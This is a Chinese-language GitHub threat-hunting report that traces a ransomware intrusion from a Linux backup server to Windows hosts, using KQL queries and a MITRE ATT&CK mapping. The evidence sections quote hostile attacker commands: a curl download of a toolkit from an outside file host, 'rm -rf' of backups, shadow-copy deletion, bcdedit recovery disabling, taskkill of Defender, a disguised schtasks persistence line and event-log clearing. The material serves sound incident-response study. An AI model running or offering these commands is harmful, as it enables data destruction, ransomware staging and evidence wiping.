Rashwani/threat-hunting-Dead-in-the-Water

GitHub: Rashwani/threat-hunting-Dead-in-the-Water

一份针对跨平台勒索软件攻击的威胁狩猎与取证分析报告,通过KQL查询逐步还原了从Linux备份服务器数据销毁到Windows勒索载荷部署的完整攻击链。

Stars: 0 | Forks: 0

image # 威胁狩猎:死水一潭 (Dead in the Water) ## 执行摘要 **事件 ID:** INC2025-1125-003 **事件严重性:** 严重级别 1 (Critical) **事件状态:** 已解决 ## 事件概述 在确认管理工作站 `azuki-adminpc` 被攻陷后,未经授权的实体利用 `yuki.tanaka` 账户,通过 SSH 使用 `backup-admin` 服务账户横向移动到 Linux 备份服务器 `azuki-backupsrv`。在备份服务器上,攻击者对备份目录、用户账户和计划任务进行了系统性的侦察。一个破坏性工具包 (`destroy.7z`) 从匿名文件托管服务 `litter.catbox.moe` 下载,并且所有备份数据都使用 `rm -rf` 被擦除。cron 服务被停止并永久禁用,以防止备份恢复。 随后,攻击者返回 Windows 环境,利用被盗的域凭据,通过 `PsExec64.exe` 经由 SMB 管理共享将 `silentlynx.exe` 勒索软件载荷部署到三个远程系统。在加密之前,所有 Windows 恢复机制都被系统性消除——卷影复制服务被停止、备份引擎被中止、卷影副本被删除、卷影存储空间被限制、Windows 恢复环境被禁用,并且备份目录被删除。安全工具和文件锁定应用程序被强制终止,以最大化加密范围。持久化通过注册表 Run 键值和计划任务建立,两者都伪装成合法的 Windows 安全组件。为了销毁证据,攻击者使用了包括删除 USN 日志和清除事件日志在内的反取证技术。勒索说明 `SILENTLYNX_README.txt` 被投递到所有被加密的系统中。 ## 关键发现 - 被盗的账户 `yuki.tanaka` 从 `azuki-adminpc` (IP: `10.1.0.108`) 使用 `backup-admin` 服务账户发起了到 `10.1.0.189` 备份服务器的 SSH 横向移动。 - 在 Linux 备份服务器上,攻击者枚举了备份目录 (`ls -la /backups/`),搜索了备份归档文件 (`find /backups -name *.tar.gz`),枚举了本地账户 (`cat /etc/passwd`),查看了计划任务 (`cat /etc/crontab`),并访问了存储的凭据 (`cat /backups/configs/all-credentials.txt`)。 - 通过 `curl -L -o destroy.7z https://litter.catbox.moe/io523y.7z` 下载了破坏性工具包。 - 所有 14 个备份目录都被 `rm -rf` 摧毁,并且 cron 服务被停止 (`systemctl stop cron`) 并永久禁用 (`systemctl disable cron`)。 - `PsExec64.exe` 被用于使用 `kenji.sato` 和 `fileadmin` 的凭据将 `silentlynx.exe` 部署到三个远程系统 (`10.1.0.102`、`10.1.0.188`、`10.1.0.204`)。 - 恢复抑制包括:`net stop VSS /y`、`net stop wbengine /y`、`vssadmin delete shadows /all /quiet`、`vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB`、`bcdedit /set {default} recoveryenabled No` 以及 `wbadmin delete catalog -quiet`。 - Windows Defender 进程 (`MsMpEng.exe`、`MpCmdRun.exe`、`NisSrv.exe`) 和文件锁定应用程序 (`sqlservr.exe`、`mysql.exe`、`oracle.exe`、`postgres.exe`、`mongodb.exe`、`outlook.exe`、`excel.exe`、`winword.exe`) 通过 `taskkill /F /IM` 被强制终止。 - 持久化通过 `CurrentVersion\Run` 下的注册表值 `WindowsSecurityHealth` 和位于 `Microsoft\Windows\Security\SecurityHealthService` 的计划任务建立。 - USN 日志被删除 (`fsutil.exe usn deletejournal /D C:`),并且 `azuki-adminpc` 和 `azuki-sl` 上的事件日志被清除。 ## 即时响应措施 SOC 和 DFIR 团队在检测到事件后立即启动了事件响应程序。被攻陷的工作站和备份服务器通过网络分段立即被隔离。账户 `yuki.tanaka`、`backup-admin`、`kenji.sato` 和 `fileadmin` 已在 Active Directory 中被禁用。防火墙规则已更新,以阻止与 `litter.catbox.moe` 及相关 IP 的所有通信。所有可用的事件日志均已被保留,并由现有的 SIEM 收集以进行取证分析。恶意的计划任务和注册表持久化条目已从受影响的系统中移除。 ## 技术分析 ### 受影响的系统与数据 **设备** | 资产 | 类型 | 在攻击中的角色 | |-------|------|----------------| | `azuki-adminpc` | Windows 工作站 | 主要暂存点、SSH 跳板、PsExec 部署源 | | `azuki-backupsrv` | Linux 服务器 | 备份服务器 — 所有备份均被摧毁 | | `azuki-sl` | Windows 服务器 | 通过 PsExec 部署勒索软件 | | `10.1.0.102` | Windows 系统 | 通过 PsExec 部署勒索软件 | | `10.1.0.188` | Windows 系统 | 通过 PsExec 部署勒索软件 | | `10.1.0.204` | Windows 系统 | 通过 PsExec 部署勒索软件 | **账户** | 账户 | 用途 | |---------|-------| | `yuki.tanaka` | 被攻陷的域账户 — 发起 SSH 横向移动 | | `backup-admin` | Linux 服务账户 — 用于对备份服务器进行 SSH 访问 | | `kenji.sato` | 域账户 — 用于 PsExec 勒索软件部署 | | `fileadmin` | 域账户 — 用于 PsExec 勒索软件部署 | ## 证据来源与分析 ### 横向移动 #### 远程访问 — SSH 查询 Azuki 设备上与 SSH 相关的进程执行的 DeviceProcessEvents,发现 `azuki-adminpc` 上的被盗账户 `yuki.tanaka` 使用 `backup-admin` 账户向位于 `10.1.0.189` 的备份服务器发起了 SSH 连接。父进程是 `powershell.exe`,表明这是一个手动键盘操作的会话。 ``` DeviceProcessEvents | where DeviceName has "azuki" | where ProcessCommandLine has "ssh" | project TimeGenerated, DeviceName, AccountDomain, ProcessCommandLine, InitiatingProcessCommandLine | order by TimeGenerated desc ``` Screenshot 2026-05-18 183832 包含 AccountName 列的第二次查询确认了执行 SSH 命令的用户身份为 `yuki.tanaka`,备份服务器上的目标账户为 `backup-admin`。 ``` DeviceProcessEvents | where DeviceName has "azuki" | where ProcessCommandLine has "ssh" | project TimeGenerated, AccountName, DeviceName, AccountDomain, ProcessCommandLine, InitiatingProcessCommandLine | order by TimeGenerated desc ``` Screenshot 2026-05-18 184146 #### 攻击来源 — 源 IP 查询 `azuki-adminpc` 上的 DeviceNetworkEvents,筛选与 SSH 相关的发起进程命令行,暴露了此次横向移动的源 IP 地址。 ``` DeviceNetworkEvents | where DeviceName == "azuki-adminpc" | where InitiatingProcessCommandLine has_any ("ssh") | project TimeGenerated, DeviceName, InitiatingProcessCommandLine, LocalIP ``` Screenshot 2026-05-18 183915 SSH 连接源自本地 IP `10.1.0.108`,确认 `azuki-adminpc` 为攻击源。 ### 发现 #### 目录枚举与备份归档搜索 查询 DeviceProcessEvents 中筛选针对 `.tar.gz` 文件的 `find` 命令,揭示了攻击者在备份服务器上搜索备份归档文件。 ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName has "azuki" | where ProcessCommandLine has "*.tar.gz" | where FileName == "find" | project TimeGenerated, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine, FileName ``` Screenshot 2026-05-20 153955 在 `2025年11月24日 下午 2:16:06`,命令 `find /backups -name *.tar.gz` 从一个交互式 bash 会话 (`-bash`) 中执行,确认了手动键盘操作的侦察。随后在 `11月25日 上午 5:47`,同一个 `find` 命令作为破坏阶段的一部分被使用,并附加了 `-exec rm -f {}` 以删除找到的文件。 #### 账户枚举与计划任务侦察 查询 DeviceProcessEvents 中包含 `cat`、`pass`、`less` 或 `grep` 的命令,揭示了攻击者正在枚举本地账户并查看计划备份任务。 ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName has "azuki" | where ProcessCommandLine has_any ("cat", "pass", "less", "grep") | order by TimeGenerated desc | project TimeGenerated, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 154842 在 `11月24日 下午 2:16:08`,执行了 `cat /etc/passwd` 以枚举所有本地用户账户,输出通过管道传递给 `grep --color=auto -v nologin` 和 `grep --color=auto -v false` 进行过滤,以滤除服务账户并隔离出交互式登录账户。在同一时间戳,执行 `cat /etc/crontab` 暴露了所有计划的备份任务。 针对 crontab 的专门查询确认了 `crontab -l` 和 `cat /etc/crontab` 均被执行: ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName has "azuki" | where ProcessCommandLine has ("crontab") | order by TimeGenerated desc | project TimeGenerated, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 155051 ### 凭据访问 #### 存储的凭据 查询 DeviceProcessEvents 中引用 `shadow`、`passwd` 或 `cat` 的命令,揭示了攻击者访问了存储在备份目录结构中的明文凭据文件。 ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName has "azuki" | where ProcessCommandLine has_any ("shadow", "passwd", "cat") | order by TimeGenerated desc | project TimeGenerated, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 155839 在 `11月24日 下午 2:14:14`,执行了 `cat /backups/configs/all-credentials.txt`,读取了包含存储凭据的明文文件(位于备份配置目录中)。该文件可能包含服务账户密码、API 密钥和其他敏感的身份验证材料。攻击者还在 `下午 2:14:14` 读取了 `cat /backups/config-backups/network-config.txt`。 ### 命令与控制 — 工具传输 查询 Azuki 设备上涉及 `curl` 和 `wget` 的命令,揭示了攻击者从外部的匿名文件托管服务下载破坏性工具包。 ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName has "azuki" | where ProcessCommandLine has_any ("curl", "wget") | order by TimeGenerated desc | project TimeGenerated, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 155522 在备份服务器的 `上午 5:45:34`,执行了 `curl -L -o destroy.7z https://litter.catbox.moe/io523y.7z`,从匿名文件托管平台 `litter.catbox.moe` 下载了一个名为 `destroy.7z` 的压缩归档文件。`-L` 标志会跟随 HTTP 重定向,而 `-o` 会以指定名称在本地保存文件。 该查询还揭示了 `azuki-adminpc` 通过 `curl.exe -X POST` 命令上传归档数据 (`banking-records.tar.gz`、`tax-documents.tar.gz`、`contracts-data.tar.gz`、`chrome-credentials.tar.gz`、`chrome-session-theft.tar.gz`) 到 `store1.gofile.io` 的外泄活动。 ### 影响 — 数据销毁 查询 DeviceProcessEvents 中的破坏性命令 (`rm`、`shred`、`dd`),揭示了攻击者从备份服务器中擦除了所有备份数据。 ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName has "azuki" | where ProcessCommandLine has_any ("rm", "shred", "dd") | order by TimeGenerated desc | project TimeGenerated, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 160500 在 `上午 5:47:02`,单个 `rm -rf` 命令摧毁了所有 14 个备份目录: ``` rm -rf /backups/archives /backups/azuki-adminpc /backups/azuki-fileserver /backups/azuki-logisticspc /backups/config-backups /backups/configs /backups/daily /backups/database-backups /backups/databases /backups/fileserver /backups/logs /backups/monthly /backups/weekly /backups/workstations ``` 附加的 `rm -rf` 命令分别针对了 `database-backups/*` 和 `config-backups/*`。还使用了带有 `-exec rm -f {}` 的 `find` 命令来定位并删除整个文件系统中剩余的 `.tar.gz`、`.tar`、`.zip` 和 `.bak` 文件。 ### 影响 — 备份服务停止与禁用 #### 服务停止 在 `azuki-backupsrv` 上查询 DeviceProcessEvents 中包含 `stop` 或 `kill` 的命令,揭示了攻击者停止了 cron 调度程序。 ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName has "azuki-backupsrv" | where ProcessCommandLine has_any ("stop", "kill") | order by TimeGenerated desc | project TimeGenerated, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 161110 在 `上午 5:47:03`,执行了 `systemctl stop cron` 以立即停止 cron 调度程序。这导致所有计划的备份任务停止运行。 #### 服务被永久禁用 查询 `disable` 命令证实攻击者还阻止了 cron 在重启时启动。 ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName has "azuki-backupsrv" | where ProcessCommandLine has_any ("disable") | order by TimeGenerated desc | project TimeGenerated, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 161555 在 `上午 5:47:03`,执行了 `systemctl disable cron`。结果显示 systemd 的 SysV 安装脚本处理了禁用命令,确认 cron 已被永久移出启动序列。 ### 横向移动 — 通过 PsExec 进行远程执行 在 `azuki-adminpc` 上查询 DeviceProcessEvents 中与 PsExec 相关的活动,揭示了攻击者正在向多个远程系统部署勒索软件载荷。 ``` DeviceProcessEvents | where DeviceName == "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine contains "psexec" or InitiatingProcessCommandLine contains "psexec" or FileName contains "psexec" | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 170133 观察到了四次 PsExec 执行: | 时间戳 | 命令 | 目标 | |-----------|---------|--------| | 上午 5:58:35 | `"PsExec64.exe" /accepteula` | 接受 EULA (首次运行) | | 上午 6:03:47 | `"PsExec64.exe" \\10.1.0.102 -u kenji.sato -p ********* -c -f C:\Windows\Temp\cache\silentlynx.exe` | 10.1.0.102 | | 上午 6:04:40 | `"PsExec64.exe" \\10.1.0.188 -u fileadmin -p ********* -c - C:\Windows\Temp\cache\silentlynx.exe` | 10.1.0.188 | | 上午 6:05:46 | `"PsExec64.exe" \\10.1.0.204 -u kenji.sato -p ********* -c -f C:\Windows\Temp\cache\silentlynx.exe` | 10.1.0.204 | `-c` 标志将可执行文件复制到远程系统,而 `-f` 则在文件已存在时强制覆盖。 筛选 `FileName endswith "PsExec64.exe"` 的第二次查询确认了相同的结果,并突出了载荷名称 `silentlynx.exe`: ``` DeviceProcessEvents | where DeviceName has "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where FileName endswith "PsExec64.exe" | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 172204 更广泛的部署查询还揭示了 Robocopy.exe 在数据外泄前对财务文档进行了暂存: ``` DeviceProcessEvents | where DeviceName has "azuki" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("copy", "xcopy", "robocopy", "ADMIN$", "C$", "\\\\") | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 170512 ### 恢复抑制 #### 卷影复制服务与备份引擎停止 在 `azuki-adminpc` 上查询 DeviceProcessEvents 中的服务停止命令,揭示了攻击者系统性禁用所有 Windows 备份和恢复服务。 ``` DeviceProcessEvents | where DeviceName has "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("stop", "kill", "vss") | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 172442 针对 `wbengine` 的专门查询确认备份引擎也被停止: ``` DeviceProcessEvents | where DeviceName has "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("stop", "kill", "wbengine") | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 172654 服务在上午 6:04 被快速连续停止: | 时间戳 | 命令 | 目的 | |-----------|---------|---------| | 上午 6:04:53 | `"net" stop VSS /y` | 停止卷影复制服务 | | 上午 6:04:54 | `"net" stop wbengine /y` | 停止 Windows 备份引擎 | | 上午 6:04:54 | `"net" stop SDRSVC /y` | 停止系统还原服务 | | 上午 6:04:55 | `"net" stop WinDefend /y` | 停止 Windows Defender | | 上午 6:04:55 | `"net" stop wscsvc /y` | 停止 Windows 安全中心 | #### 进程终止 — 解锁文件 查询 `taskkill`、`kill` 和 `pkill` 命令,揭示了攻击者强制终止安全工具和文件锁定应用程序。 ``` DeviceProcessEvents | where DeviceName has "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("taskkill", "kill ", "pkill") | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 173050 上午 5:31 被终止的安全工具: - `"taskkill.exe" /F /IM MsMpEng.exe` — Windows Defender 反恶意软件引擎 - `"taskkill.exe" /F /IM MpCmdRun.exe` — Defender 命令行工具 - `"taskkill.exe" /F /IM NisSrv.exe` — Defender 网络检查服务 上午 6:04 被终止的文件锁定进程 (在 2 秒内 — 表明是自动化执行): - `"taskkill" /F /IM sqlservr.exe` — Microsoft SQL Server - `"taskkill" /F /IM mysql.exe` — MySQL - `"taskkill" /F /IM oracle.exe` — Oracle Database - `"taskkill" /F /IM postgres.exe` — PostgreSQL - `"taskkill" /F /IM mongodb.exe` — MongoDB - `"taskkill" /F /IM outlook.exe` — Microsoft Outlook - `"taskkill" /F /IM excel.exe` — Microsoft Excel - `"taskkill" /F /IM winword.exe` — Microsoft Word #### 恢复点删除 查询 `delete` 和 `shadow` 命令,揭示了攻击者删除了所有现有的卷影副本。 ``` DeviceProcessEvents | where DeviceName has "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("delete", "shadow") | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 173437 在 `上午 5:58:55`,执行了 `"vssadmin.exe" delete shadows /all /quiet`,删除了所有卷影副本。该命令在 `上午 6:04:59` 被再次执行。同一查询还在 `上午 6:04:59` 发现了 `"wbadmin" delete catalog -quiet`,从而删除了 Windows 备份目录。 #### 存储限制 查询 `vssadmin` 和 `shadowstorage` 命令,揭示了攻击者限制卷影副本存储以防止生成新的恢复点。 ``` DeviceProcessEvents | where DeviceName has "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("vssadmin ", "shadowstorage ") | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 173556 在 `上午 5:59:56`,执行了 `"vssadmin.exe" resize shadowstorage /for=C: /on=C: /maxsize=401MB`,将卷影副本存储空间减少到 401MB — 这有效地阻止了任何新恢复点的创建。 #### 系统恢复被禁用 查询 `reagentc` 和 `bcdedit` 命令,证实攻击者禁用了 Windows 恢复环境。 ``` DeviceProcessEvents | where DeviceName has "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("reagentc", "bcdedit") | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 173722 在 `上午 6:04:59`,执行了 `"bcdedit" /set {default} recoveryenabled No`,在引导配置级别禁用了 Windows 恢复环境。 #### 备份目录删除 相同的删除查询还揭示了备份目录被擦除: ``` DeviceProcessEvents | where DeviceName has "azuki-adminpc" | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("rm", "delete") | order by TimeGenerated desc | project TimeGenerated, FileName, DeviceName, ProcessCommandLine ``` Screenshot 2026-05-20 173800 在 `上午 6:04:59`,执行了 `"wbadmin" delete catalog -quiet`,删除了用于跟踪所有可用还原点和备份版本的 Windows 备份目录。 ### 持久化 #### 注册表 Run 键 在 `azuki-adminpc` 上查询 DeviceRegistryEvents 中针对 `CurrentVersion\Run` 键的 `RegistryValueSet` 操作,揭示了攻击者通过注册表自启动条目建立持久化。 ``` DeviceRegistryEvents | where TimeGenerated between (datetime(2025-11-24) .. datetime(2025-11-26)) | where DeviceName == "azuki-adminpc" | where ActionType == "RegistryValueSet" | where RegistryKey has @"CurrentVersion\Run" | project Timestamp, RegistryKey, RegistryValueName, RegistryValueData ``` Screenshot 2026-05-20 175449 在 `上午 6:05:01`,在 `HKEY_CURRENT_USER\S-1-5-21-...\Software\Microsoft\Windows\CurrentVersion\Run` 下设置了一个名为 `WindowsSecurityHealth` 的注册表值。这确保了勒索软件载荷在每次用户登录时自动执行。在 `上午 5:36:33` 还观察到了第二个条目 `SystemHealthMonitor`。这两个名称都模仿了合法的 Windows 安全组件以逃避检测。 #### 计划任务 在 InitiatingProcessCommandLine 中查询 `schtasks` 的 DeviceProcessEvents,揭示了攻击者在多个系统上创建计划任务。 ``` DeviceProcessEvents | where TimeGenerated between (datetime(2025-11-25) .. datetime(2025-11-26)) | where DeviceName has "azuki" | where InitiatingProcessCommandLine has "schtasks" | project TimeGenerated, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine ``` Screenshot 2026-05-21 154548 在 `azuki-adminpc` 的 `上午 6:05:01` 和 `azuki-sl` 的 `上午 6:07:10`,创建了以下计划任务: ``` "schtasks" /create /tn "Microsoft\Windows\Security\SecurityHealthService" /tr "C:\Windows\Temp\cache\silentlynx.exe" /sc onlogon /rl highest /f ``` 任务路径 `Microsoft\Windows\Security\SecurityHealthService` 模仿了合法的 Windows 安全健康服务。`/sc onlogon` 触发器确保在每次用户登录时执行,而 `/rl highest` 则以可用的最高权限运行它。 ### 防御规避 — 反取证 #### 日志删除与日志清除 查询 DeviceProcessEvents 中涉及 `fsutil`、`usn`、`deletejournal` 和 `wevtutil` 的命令,揭示了攻击者在多个系统上销毁取证证据。 ``` DeviceProcessEvents | where DeviceName has "azuki" | where TimeGenerated between (datetime(2025-11-25) .. datetime(2025-11-26)) | where ProcessCommandLine has_any ("fsutil", "usn", "deletejournal", "wevtutil") | project TimeGenerated, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine ``` Screenshot 2026-05-21 154955 在 `azuki-adminpc` 的 `上午 6:10` (由 `powershell.exe` 发起): - `"fsutil.exe" usn deletejournal /D C:` — 删除了 NTFS USN 日志,该日志记录了卷上每个文件的创建、删除和修改。 - `"wevtutil.exe" cl Security` — 清除了 Windows 安全事件日志。 - `"wevtutil.exe" cl System` — 清除了 Windows 系统事件日志。 在 `azuki-sl` 的 `上午 6:07` (由 `silentlynx.exe` 发起): - `"wevtutil" cl "Security"` — 清除了安全日志。 - `"wevtutil" cl "System"` — 清除了系统日志。 - `"wevtutil" cl "Application"` — 清除了应用程序日志。 - `"wevtutil" cl "Microsoft-Windows-PowerShell/Operational"` — 清除了 PowerShell 操作日志。 值得注意的是,在 `azuki-sl` 上,InitiatingProcessCommandLine 为 `silentlynx.exe`,证实了勒索软件载荷本身内置了反取证功能。 ### 影响 — 勒索软件执行 #### 勒索说明 查询 DeviceFileEvents 中在 Azuki 设备上创建的 `.txt` 文件,确认勒索软件已成功加密文件并投递了勒索说明。 ``` DeviceFileEvents | where DeviceName has "azuki" | where TimeGenerated between (datetime(2025-11-25) .. datetime(2025-11-26)) | where ActionType == "FileCreated" | where FileName endswith ".txt" | project TimeGenerated, DeviceName, FileName ``` Screenshot 2026-05-21 155231 在 `上午 6:05:01`,`SILENTLYNX_README.txt` 被创建在 `azuki-adminpc` 上。在 `上午 6:07:09`,相同的勒索说明被创建在 `azuki-sl` 上。每个设备上的多个实例表明,该说明被投递到了每个包含加密文件的目录中。 ## 攻击时间线 | 时间 (UTC) | 操作 | |------------|--------| | 11月24日, 下午 2:10 | 在备份服务器上开始初步侦察 | | 11月24日, 下午 2:14 | `cat /backups/configs/all-credentials.txt` — 凭据窃取 | | 11月24日, 下午 2:16 | `cat /etc/passwd` — 账户枚举 | | 11月24日, 下午 2:16 | `cat /etc/crontab` — 计划任务侦察 | | 11月25日, 上午 5:31 | 终止 Windows Defender 进程 (`taskkill /F /IM MsMpEng.exe`) | | 11月25日, 上午 5:39 | `"ssh.exe" backup-admin@10.1.0.189` — SSH 横向移动 | | 11月25日, 上午 5:45 | `curl -L -o destroy.7z` — 下载破坏性工具包 | | 11月25日, 上午 5:47 | `rm -rf /backups/*` — 所有备份数据被摧毁 | | 11月25日, 上午 5:47 | `systemctl stop cron` / `systemctl disable cron` | | 11月25日, 上午 5:58 | `PsExec64.exe /accepteula` — PsExec 首次运行 | | 11月25日, 上午 5:58 | `vssadmin.exe delete shadows /all /quiet` — 首次卷影删除 | | 11月25日, 上午 5:59 | `vssadmin.exe resize shadowstorage /for=C: /on=C: /maxsize=401MB` | | 11月25日, 上午 5:59 | `bcdedit /set {default} recoveryenabled No` | | 11月25日, 上午 6:03 | PsExec → `silentlynx.exe` 部署到 `10.1.0.102` | | 11月25日, 上午 6:04 | PsExec → `silentlynx.exe` 部署到 `10.1.0.188` | | 11月25日, 上午 6:04 | `net stop VSS /y`, `net stop wbengine /y` — 停止服务 | | 11月25日, 上午 6:04 | 杀死所有文件锁定进程 (`taskkill /F /IM sqlservr.exe` 等) | | 11月25日, 上午 6:04 | `vssadmin delete shadows /all /quiet` — 第二次卷影删除 | | 11月25日, 上午 6:04 | `wbadmin delete catalog -quiet` — 备份目录被删除 | | 11月25日, 上午 6:05 | PsExec → `silentlynx.exe` 部署到 `10.1.0.204` | | 11月25日, 上午 6:05 | 注册表持久化 (`WindowsSecurityHealth`) + 创建计划任务 | | 11月25日, 上午 6:05 | `SILENTLYNX_README.txt` 投递到 `azuki-adminpc` | | 11月25日, 上午 6:07 | `SILENTLYNX_README.txt` 投递到 `azuki-sl` | | 11月25日, 上午 6:07 | `silentlynx.exe` 清除 `azuki-sl` 上的事件日志 | | 11月25日, 上午 6:10 | USN 日志被删除 + `azuki-adminpc` 上的事件日志被清除 | ## MITRE ATT&CK 映射 | 战术 | 技术 ID | 技术名称 | 证据 | |--------|-------------|----------------|----------| | 横向移动 | T1021.004 | 远程服务: SSH | `"ssh.exe" backup-admin@10.1.0.189` | | 横向移动 | T1021.002 | SMB/Windows 管理共享 | `PsExec64.exe` 部署到 3 个系统 | | 有效账户 | T1078.002 | 域账户 | `backup-admin`、`kenji.sato`、`fileadmin` | | 发现 | T1083 | 文件和目录发现 | `ls -la /backups/`, `find /backups -name *.tar.gz`, `cat /etc/crontab` | | 发现 | T1087.001 账户发现: 本地 | `cat /etc/passwd` | | 凭据访问 | T1552.001 | 不安全的凭据: 文件 | `cat /backups/configs/all-credentials.txt` | | 命令与控制 | T1105 | 入口工具传输 | 从 catbox.moe 下载 `curl -L -o destroy.7z` | | 执行 | T1204.002 | 恶意文件 | 通过 PsExec 部署 `silentlynx.exe` | | 影响 | T1485 | 数据销毁 | `rm -rf /backups/*` — 所有备份数据被摧毁 | | 影响 | T1486 | 为影响而加密数据 | `SILENTLYNX_README.txt` 勒索说明 | | 影响 | T1489 | 服务停止 | `systemctl stop/disable cron`, `net stop VSS/wbengine` | | 影响 | T1490 | 抑制系统恢复 | 卷影删除、存储重设、bcdedit、wbadmin | | 防御规避 | T1562.001 | 削弱防御 | `taskkill /F /IM MsMpEng.exe` | | 防御规避 | T1070.004 | 指示器移除: 文件删除 | `fsutil.exe usn deletejournal /D C:` | | 持久化 | T1547.001 | 注册表 Run 键 | `CurrentVersion\Run` 下的 `WindowsSecurityHealth` | | 持久化 | T1053.005 | 计划任务 | `Microsoft\Windows\Security\SecurityHealthService` | ## 建议 1. **网络分段** — 将备份基础设施隔离在单独的 VLAN 中,并配置严格的防火墙规则。对备份服务器的 SSH 访问应限制在实施了 MFA 的跳板机上。 2. **不可变备份** — 实施不可变/气隙备份,即使拥有管理凭据也无法对其进行修改或删除。考虑采用 WORM (一次写入,多次读取) 存储解决方案。 3. **凭据管理** — 切勿在备份目录中存储明文凭据。立即轮换 `all-credentials.txt` 中暴露的所有凭据。实施特权访问管理 (PAM) 解决方案。 4. **终端检测规则** — 部署 EDR 规则以检测 PsExec 的使用、大量的 `taskkill` 命令、`vssadmin` 卷影删除、`bcdedit` 恢复修改以及 `fsutil` 日志删除。 5. **服务账户加固** — `backup-admin` 账户应仅使用基于密钥的 SSH 身份验证。禁用所有服务器上基于密码的 SSH 身份验证。 6. **监控与警报** — 针对关键服务上的 `systemctl disable`、备份目录中的批量文件删除、对 `CurrentVersion\Run` 的注册表修改,以及创建模仿 Windows 系统路径的计划任务创建警报。 7. **集中式日志转发** — 将所有日志实时转发到外部 SIEM,以便 `wevtutil cl` 和 USN 日志删除无法追溯性地销毁证据。
标签:Terraform 安全, 事件响应报告, 勒索软件分析, 子域枚举, 库, 应急响应, 攻击溯源